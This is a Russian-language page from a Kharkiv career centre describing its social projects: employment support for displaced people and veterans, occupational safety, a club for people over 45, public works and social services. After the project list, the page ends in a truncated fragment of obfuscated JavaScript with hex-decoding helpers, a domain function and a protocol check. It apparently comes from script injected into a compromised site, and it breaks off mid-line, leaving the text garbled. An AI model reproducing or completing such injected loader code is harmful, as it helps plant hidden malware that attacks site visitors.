«От неравнодушия к конкретным действиям»
С 2010 г. «Центр управления карьерой» является участником социального проекта «Единая Социальная Сеть». За этот период нами, совместно с Департаментом труда и социальной политики Харьковского городского совета нами реализованы следующие проекты:

«Жизнестойкость. Конкурентоспособность. Трудоустройство»

Целевая аудитория проекта — Харьковчане, ВПЛ, демобилизованные воины АТО которые находятся в кризисе занятости.

Цель проекта: Способствовать нахождению «общего языка» между работодателем и соискателями для представителей целевой аудитории. А самое главное, повысить эффективность взаимодействия людей, ищущих работу с рынком труда.

Начало реализации проекта: 2016 г.

«Жизнестойкость. Конкурентоспособность. Трудоустройство - это проект, идея реализации которого, возникла в связи с осложнением ситуации на рынке труда Харьковского региона. Харьков является крупнейшим городом северо-восточной Украины, обладающий большим научным, промышленным и ресурсно — сырьевым потенциалом.

Кроме того, Харьков находится в непосредственной близости к зоне АТО. Эти и другие факторы обусловливают рост спроса на рабочие места. По данным статистики в 2015 году количество соискателей на рынке труда Харькова возросло почти вдвое. Этот показатель является самым большим в Украине. Кроме людей, которые вынуждены искать работу в связи с кризисом, ряды соискателей на рынке труда нашего региона пополнили ВПЛ и демобилизованные воины АТО. По данным Харьковского областного центра занятости на конец 2015 года по Харьковской области официально зарегистрировано около 29000 человек, имеющих статус безработного, 8000 из которых зарегистрированы в г.Харьков.

«Охрана труда. Знания. Ответственность. Безопасность»

                                                   

 

 Целевая аудитория проекта -  руководители и работники предприятий Харьковского региона.

Цель проекта:
♦ активизация деятельности работодателей, трудовых коллективов, уполномоченных лиц по охране труда и первичных профсоюзных организаций по созданию и обеспечению условий безопасной жизнедеятельности в производственной и непроизводственной сферах;
♦ организация взаимодействия заинтересованных исполнительных органов государственной власти, органов местного самоуправления, общественных организаций, профсоюзов, работодателей и их объединений по разработке и реализации региональной политики в области охраны труда.

Начало реализации проекта: 2013 г.
В рамках проекта реализуются следующие направления:
♦  Проведение награждения лучших работников в сфере охраны труда в рамках Всемирного дня охраны труда на уровне предприятий и районов города;
♦  Проведение образовательных мероприятий (тренингов, семинаров) для работников и руководителей предприятий, касающихся ключевых вопросов охраны труда и безопасности жизнедеятельности;
♦  Проведение круглых столов для руководителей и специалистов, работающих в сфере охраны труда предприятий Харьковского региона с целью обмена позитивным опытом во внедрении и усовершенствовании систем управления охраной труда на предприятиях, а также обсуждения путей решения проблем в сфере охраны труда.

 

«Клуб 45+»

Целевая аудитория проекта - представители Харьковской территориальной громады возрастной категории 45+.

Цель проекта:
♦ повысить степень социально – психологической адаптации и психологической зрелости населения Харьковской территориальной громады (категории 45 +);
♦  способствовать формированию и усилению у целевой аудитории следующих качеств: эмоциональной стабильности, реалистичного взгляда на вещи, жизненной активности, целеустремленности и гибкости в выборе средств для достижения цели, уверенности в своих силах, адекватной самооценки, независимости суждений, автономии и естественного стиля поведения в том числе в ситуации поиска работы;
♦  способствовать нахождению «общего языка» между работодателем и соискателями возрастной категории 45+.

Начало реализации проекта: 2013 г.
В рамках проекта реализуются следующие направления:
♦ Опрос и анкетирование представителей целевой аудитории с целью выявления проблем, возникающих в процессе их взаимодействия с современным рынком труда;
♦ Проведение круглых столов для работодателей с целью разрушения существующих стереотипов и формирования адекватного отношения к соискателям работы возрастной категории 45+ ;
♦ Проведения образовательных и консультативных мероприятий (тренингов, семинаров и консультаций) среди представителей целевой аудитории с целью повышения эффективности их взаимодействия с рынком труда.

 

«Новый взгляд на общественные работы»

Целевая аудитория проекта – временно не работающие представители Харьковской территориальной громады и представители предприятий, которые имеют возможность привлекать население к общественным работам.
Цель проекта — усилить привлекательность общественных работ среди жителей нашего города посредством изменения отношения к бренду «Общественные работы» за счет возникновения у целевой аудитории чувства сопричастности к социально – полезному и одобряемому делу.

Начало реализации проекта: 2010 г.

В рамках проекта реализуются следующие направления:
♦ Проведение социально – психологического исследований среди людей, находящихся в кризисе занятости, с целью изучения образа общественных работ в сознании целевой аудитории, работы со стереотипами; анализа каналов распределения информации.
♦ Создание и продвижение бренда «Общественные работы» с использованием различных медиаканалов;
♦ Разработка материалов и проведение обучающих мероприятий для людей, оказавшихся в кризисе занятости, с целью популяризации бренда «Общественные работы»;
♦ Разработка материалов и проведение круглых столов для работодателей с целью повышения информированности о выгодах организации общественных работ на предприятиях;
♦ Организация рабочих мест в рамках популяризации проекта общественных работ с целью трудоустройства и социальной поддержки безработных граждан.


«Эффективное взаимодействие незащищенных слоев населения с рынком социальных услуг. Проблемы и способы оптимизации»

Целевая аудитория проекта – незащищенные слои населения Харьковской территориальной громады и социальные работники, которые непосредственно реализуют социальную политику государства в отношении незащищенных слоев населения.

Цель проекта — улучшение качества предоставления социальных услуг незащищенным слоям населения Харьковской территориальной громады в сфере здравоохранения, социальной защиты, пассажирского транспорта и ЖКХ за счет выявления существующих в сфере обслуживания проблем и их устранения.

Начало реализации проекта: 2012 г.

В рамках проекта реализуются следующие направления:

• Опрос представителей незащищенных слоев населения с целью выявления проблем, возникающих в процессе взаимодействия со сферой социальных услуг
• Проведение социально – психологического исследования среди работников сферы социальных услуг с целью выявления психологических проблем, препятствующих качественному обслуживанию
• Проведения образовательных и консультативных мероприятий (тренингов, семинаров и консультаций) среди работников сферы обслуживания, представителей незащищенных слоев населения и членов общественных организаций.
• Составление и распространение памяток и информационных буклетов среди работников сферы обслуживания

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "cmc.kh.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e